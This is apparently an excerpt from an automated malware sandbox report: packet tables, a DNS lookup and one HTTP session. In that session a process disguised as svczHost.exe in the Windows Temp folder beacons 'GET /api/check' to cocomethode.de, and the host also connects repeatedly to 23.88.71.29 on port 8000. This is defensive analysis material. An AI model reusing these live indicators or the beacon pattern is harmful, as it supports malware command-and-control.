Dec 11, 2024 12:15:53.684138060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.684288025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.684350014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.684468985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684468985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684468985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684657097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684708118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684891939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684904099 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:00.139724970 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:00.354753017 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:00.354927063 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:00.355048895 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:00.630548000 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:01.120826960 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:01.121151924 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:01.380861044 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:04.197258949 CET	49785	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:04.416600943 CET	8000	49785	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:04.416754007 CET	49785	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:04.416892052 CET	49785	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:04.678864956 CET	8000	49785	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.290075064 CET	8000	49785	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.290436029 CET	49785	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.290868044 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.505461931 CET	8000	49786	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.505671978 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.505858898 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.505911112 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.505911112 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.509706974 CET	8000	49785	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.509836912 CET	49785	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:05.720524073 CET	8000	49786	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.720705986 CET	8000	49786	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.720918894 CET	8000	49786	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.960568905 CET	8000	49786	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:05.960865974 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:06.175482035 CET	8000	49786	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:06.175604105 CET	49786	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:10.554028988 CET	49781	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:10.668191910 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:10.668472052 CET	49781	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:11.100830078 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:11.368132114 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:11.616225004 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:11.887912035 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:12.131881952 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:12.403652906 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:12.647310019 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:12.908739090 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:13.163063049 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:13.430617094 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:13.678261995 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:13.949268103 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:14.193903923 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:14.467895031 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:31.127621889 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:31.399758101 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:31.564138889 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:31.611787081 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:31.721173048 CET	49784	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:16:31.995733976 CET	8000	49784	23.88.71.29	192.168.11.20
Dec 11, 2024 12:16:41.202795029 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:41.202843904 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:41.203027964 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:41.203203917 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:41.203218937 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:41.444040060 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:41.445437908 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:41.445499897 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:41.446216106 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:41.446254969 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320164919 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320209980 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320224047 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320334911 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320344925 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.320348978 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320359945 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.320539951 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.558624029 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.558959007 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559029102 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559178114 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.559216976 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559415102 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.559459925 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559592962 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559613943 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559737921 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.559770107 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.559916973 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.560156107 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.609344006 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.804903030 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805181980 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805208921 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805306911 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.805325985 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805529118 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.805649042 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805707932 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805789948 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.805855989 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.805874109 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.806032896 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.806209087 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.806292057 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.806340933 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.806412935 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:42.806430101 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:42.806617975 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.047255993 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.047535896 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.047581911 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.047725916 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.047746897 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.047779083 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.047866106 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.047990084 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.048019886 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.048085928 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.048240900 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.048388004 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.048466921 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.048599958 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.048635006 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.048665047 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.048847914 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.049223900 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.049307108 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.049463987 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.049472094 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.050098896 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.050240040 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.050256014 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.050451994 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.288898945 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.289051056 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.289104939 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.289309025 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.289350033 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.289501905 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.290028095 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.290258884 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.290375948 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.290570021 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.290638924 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.290786982 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.291420937 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.291557074 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.291589975 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.291753054 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.292179108 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.292543888 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.535726070 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.535813093 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.535908937 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.535953045 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.535979986 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.536132097 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.536603928 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.536818027 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.537416935 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.537517071 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.537601948 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.537601948 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.537678957 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.537708044 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.538090944 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.538230896 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.538281918 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.538536072 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.538870096 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.539016008 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.539036989 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.539403915 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.539453983 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.539587975 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.539669991 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.539825916 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.777559996 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.777724981 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.777795076 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.777839899 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.777867079 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.778062105 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.778671980 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.779113054 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.779232979 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.779373884 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.779401064 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.779601097 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.779656887 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.779834032 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.780253887 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.780455112 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.780488014 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.780692101 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.780837059 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.781100988 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.781116009 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.781141043 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.781236887 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.781323910 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.781606913 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.781810045 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.782530069 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.782747030 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:43.782803059 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:43.827824116 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.018158913 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.018409014 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.018867970 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.019167900 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.019167900 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.019211054 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.019342899 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.019928932 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.020035028 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.020147085 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.020304918 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.020304918 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.020324945 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.020760059 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.020937920 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.020956993 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.021550894 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.021625996 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.021671057 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.021689892 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.022419930 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.022454977 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.023227930 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.023247004 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.023271084 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.023298979 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.024064064 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.024163961 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.024182081 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.024884939 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.263195038 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.263323069 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.263396978 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.263510942 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.263544083 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.263566017 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.263744116 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.268307924 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.268343925 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.268541098 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.268541098 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.268541098 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.268541098 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.268582106 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.268865108 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.270347118 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.270382881 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.270570040 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.270570040 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.270610094 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.270610094 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.270627975 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.270838976 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.272814989 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.272851944 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.273731947 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.273731947 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.273731947 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.273731947 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.273775101 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.274866104 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.516778946 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.516791105 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.516941071 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.516982079 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.517046928 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.517062902 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.517096043 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.517096043 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.517199039 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.518893003 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.518944979 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.519062996 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.519139051 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.519151926 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.519321918 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.521462917 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.521500111 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.521720886 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.521758080 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.521758080 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.521779060 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.521994114 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.521994114 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.522074938 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.523065090 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.523101091 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.523294926 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.523343086 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.523343086 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.730235100 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.781493902 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:44.994209051 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:44.994597912 CET	49787	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:16:45.430231094 CET	443	49787	172.67.128.139	192.168.11.20
Dec 11, 2024 12:16:45.430449009 CET	49787	443	192.168.11.20	172.67.128.139

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:14:12.931617022 CET	65042	53	192.168.11.20	1.1.1.1
Dec 11, 2024 12:14:13.047494888 CET	53	65042	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 12:14:12.931617022 CET	192.168.11.20	1.1.1.1	0x31c9	Standard query (0)	cocomethode.de	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 12:14:13.047494888 CET	1.1.1.1	192.168.11.20	0x31c9	No error (0)	cocomethode.de		172.67.128.139	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:14:13.047494888 CET	1.1.1.1	192.168.11.20	0x31c9	No error (0)	cocomethode.de		104.21.1.51	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cocomethode.de

23.88.71.29:8000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49781	172.67.128.139	80	9020	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:14:55.635677099 CET	73	OUT	GET /api/check HTTP/1.1 Host: cocomethode.de Connection: Keep-Alive
Dec 11, 2024 12:14:56.111176014 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HtiCHwdNSeGTzpY6myd0x7rBYpn%2FkpF51c%2BC%2BivOzooG9eQFKLFENHK7KhZVd4dymhMogLxQaDmJkgi2PDAq8i0yXep2lCOqbwEntghQtrQwQ%2B8K8eFum0JPgAiQQD2Mahu2WAeThH12"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46706&min_rtt=1291&rtt_var=22392&sent=24889&recv=11339&lost=0&retrans=3&sent_bytes=35401310&recv_bytes=530483&delivery_rate=46025538&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050dca19b5bfe2-ATL server-timing: 